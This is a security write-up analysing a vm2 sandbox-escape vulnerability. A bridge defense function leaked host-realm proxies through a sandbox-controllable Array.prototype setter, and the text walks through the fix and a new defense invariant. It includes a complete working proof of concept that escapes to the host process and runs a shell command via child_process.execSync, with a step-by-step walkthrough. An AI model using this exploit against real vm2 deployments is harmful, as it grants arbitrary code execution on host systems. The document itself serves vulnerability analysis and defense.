The defense's state was on the prototype the defense was built to outwit
vm2's bridge is lib/bridge.js, and the whole bridge is wrapped in a createBridge factory. createBridge is instantiated twice when a VM starts: once in the host realm, once in the sandbox realm. The two instances share source code; their closure-local [] literals, {} literals, and Map/Set allocations bind to the realm that instantiated them.
When sandbox code invokes a host function, the call dispatches into the proxy apply trap of the host-function wrapper. That wrapper was registered with sandbox-side handlers, so the trap body runs in the sandbox instance of the bridge closure. Inside that body, the [] literal in neutralizeArraySpeciesBatch allocates a sandbox-realm Array. Its prototype chain is sandbox Array.prototype. The sandbox can install setters on it.
The unfixed function:
function neutralizeArraySpeciesBatch(context, args) {
const saved = [];
const c = neutralizeArraySpeciesOn(context);
if (c) saved[saved.length] = c;
if (args) {
const len = args.length | 0;
for (let i = 0; i < len; i++) {
const s = neutralizeArraySpeciesOn(args[i]);
if (s) saved[saved.length] = s;
}
}
return saved;
}
saved[saved.length] = c is an ordinary index assignment to a property that does not exist as an own slot. ECMAScript's OrdinarySet walks the prototype chain, finds Array.prototype[0] if a setter has been installed there, and invokes the setter with value = c and this = saved.
c is the record produced by neutralizeArraySpeciesOn:
{ __proto__: null, arr, originalDesc, marker: SPECIES_NEUTRALIZED }
arr is the host-realm proxy of the argument array. It is the exact value the bridge spends 306 lines hiding from V8's C++ species lookup. The defense walks every host array entering the bridge, captures a host-realm proxy reference, and writes that reference into a container whose write operator the sandbox can intercept.
The full exploit is one setter
The canonical PoC, reduced from vm2's own advisory test fixture at test/ghsa/GHSA-9qj6-qjgg-37qq/repro.js:
const { VM } = require('vm2');
new VM().run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor('return process')()
.mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`);
Walked in order:
- Sandbox allocates
a, an empty sandbox-realm array.
- Sandbox installs a setter on
Array.prototype[0]. The setter body runs whenever any sandbox-realm Array is index-assigned at slot 0 without an own slot.
- Sandbox calls
new Buffer(a). The call dispatches into the bridge's host-Buffer proxy. The proxy's construct trap runs in the sandbox-realm closure.
- The trap converts arguments via
otherFromThisArguments(args), then calls savedSpecies = neutralizeArraySpeciesBatch(null, args).
neutralizeArraySpeciesBatch allocates saved = [] (sandbox-realm), computes s = neutralizeArraySpeciesOn(args[0]), and gets back { __proto__: null, arr: <host-realm proxy of a>, originalDesc, marker }.
saved[saved.length] = s walks the prototype chain. Array.prototype[0] has a setter. The setter fires with value = s.
- Inside the setter, sandbox code plants
a.f = Buffer.prototype.inspect, reads value.arr.f through the host-realm proxy (returning a host-realm Function instance), then climbs value.arr.f.constructor.constructor("return process")() to host process, then process.mainModule.require('child_process').execSync('touch pwned') for arbitrary command execution.
The setter ran inside a function the bridge wrote, with state the bridge produced, while the bridge was halfway through installing the defense against the underlying primitive. The bookkeeping was the exfiltration channel.
The discipline already existed. The new function did not use it.
The fix commit's bridge.js change is forty lines. It replaces the two saved[saved.length] = ... writes with thisReflectDefineProperty(saved, savedLen, { __proto__: null, value, writable: true, enumerable: true, configurable: true }). Reflect.defineProperty installs an own data property without consulting the prototype chain. The setter on Array.prototype[0] does not fire.
thisReflectDefineProperty is not new code. It is captured in the bridge module's top-level closure at module load, before any sandbox code runs, the same way thisArrayCtor was captured for the prior fix. The bridge uses it at line 2403, in the function that converts host-realm argument arrays into sandbox-realm ones:
function thisFromOtherArguments(args) {
const arr = [];
for (let i = 0; i < args.length; i++) {
const value = thisFromOther(args[i]);
thisReflectDefineProperty(arr, i, {
__proto__: null,
value: value,
writable: true,
enumerable: true,
configurable: true,
});
}
return arr;
}
Allocates a sandbox-realm Array. Appends elements without walking the prototype chain. The reason is documented in the patch commit message for CVE-2026-44008:
The bridge's existing pattern in thisFromOtherArguments already uses thisReflectDefineProperty to install argument indices precisely because index assignment via [i] = triggers prototype-chain setters. neutralizeArraySpeciesBatch did not follow that pattern; the regression was introduced when the species defense (GHSA-grj5-jjm8-h35p) replaced its earlier no-restore variant with a saved-list design.
The discipline lived in the same file. The new function did not inherit it. The reviewer who landed 306 lines to lie to V8's C++ ArraySpeciesCreate did not read the function near the one they were patching.
The threat model grew by one invariant
The same fix commit modifies docs/ATTACKS.md. It adds Defense Invariant #11: bridge-internal containers must not invoke sandbox code. Lists, maps, and saved-state records allocated for the bridge's exclusive use are reached from sandbox-realm closures whose intrinsics (Array.prototype, Object.prototype, Map.prototype) are attacker-reachable. Reads and writes on those containers must use prototype-bypassing primitives like Reflect.defineProperty and Reflect.apply over cached WeakMap.prototype.{get,set}, never operators (obj[i] =, map.set, for...in) that fall through to the sandbox prototype chain.
vm2 had ten prior Defense Invariants. The eleventh exists because the patch from seven days earlier violated it.
The same commit adds Attack Category 28, "Bridge Internal-State Leak via Sandbox-Realm Array Setter," whose Why It Works section identifies the structural property: createBridge runs twice, once per realm; [] literals in the sandbox-side instantiation are sandbox-realm; the sandbox controls the prototype chain. The category exists in the file because the species defense added new bridge-internal containers, and the containers were not audited against an invariant that had not yet been written down.
Each new defense in vm2 is itself surface area
CVE-2026-24118's writeup named the defense vocabulary. lib/setup-sandbox.js and lib/bridge.js together hold resetPromiseSpecies, neutralizeArraySpeciesBatch, the WebAssembly.JSTag deletion, the %AsyncGeneratorPrototype% wrap, and handleException's SuppressedError recursion. Each entry exists because V8 implements a language feature whose C++ surface reads through to a raw object the Proxy bridge cannot trap. The vocabulary grows whenever V8 ships another such feature.
CVE-2026-44008 names a different layer. The vocabulary is not just the inventory of V8 surfaces vm2 cannot trap; it is now also the inventory of bridge-internal containers each defense allocates, the realm those containers belong to, and which operators on those containers walk into sandbox-controlled prototypes. Defense Invariant #11 is the codification of an audit pass the previous defenses did not need because their fixes did not allocate per-call state. The species defense did. The same primitive (sandbox Array.prototype is attacker-controlled) reached the new state through the same operator ([i] = walks the chain) the codebase had already neutralized everywhere else.
This is the unpatchable primitive compounding. The CVE-2026-24118 patch was reactive to a V8-internal-bypass class. The CVE-2026-44008 patch is reactive to the CVE-2026-24118 patch. vm2 is a design-debt driver at the substrate level, because Proxy traps cannot intercept V8's C++ reads and each species-using built-in needs its own per-call sanitization, and at the defense layer, because each new defense allocates new containers, and the containers inherit sandbox prototypes the maintainer has to remember to bypass.
The substrate produces the CVE that requires the defense. The defense produces the CVE that requires the invariant. The invariant produces the audit pass the next defense will be reviewed against, until the audit pass misses a new container the V8 design forces vm2 to introduce next.
The same function, two readings
The April 24 commit message framed neutralizeArraySpeciesBatch as analogous to resetPromiseSpecies, a sibling defense for the same V8-internal-bypass class. The May 1 commit message framed the same function as a regression, an instance of the bridge's established [i] = anti-pattern that the species fix had inadvertently reintroduced. Both messages were written by the same maintainer, one week apart, about the same function. The function did not change between the two readings. The maintainer's view of what the function was did.
PoC: vm2's own test fixture at test/ghsa/GHSA-9qj6-qjgg-37qq/repro.js. Patch: ca195f0 in vm2 v3.11.2.
The defense was 306 lines. The leak in the defense was an unqualified index assignment.